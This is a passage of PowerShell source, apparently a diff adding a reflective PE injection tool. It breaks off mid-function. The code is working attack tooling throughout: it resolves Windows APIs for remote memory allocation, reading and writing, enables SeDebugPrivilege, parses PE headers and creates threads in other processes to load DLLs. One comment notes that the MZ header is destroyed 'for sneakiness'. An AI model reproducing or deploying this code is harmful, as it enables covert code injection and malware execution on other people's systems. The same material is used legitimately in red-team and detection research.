Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + 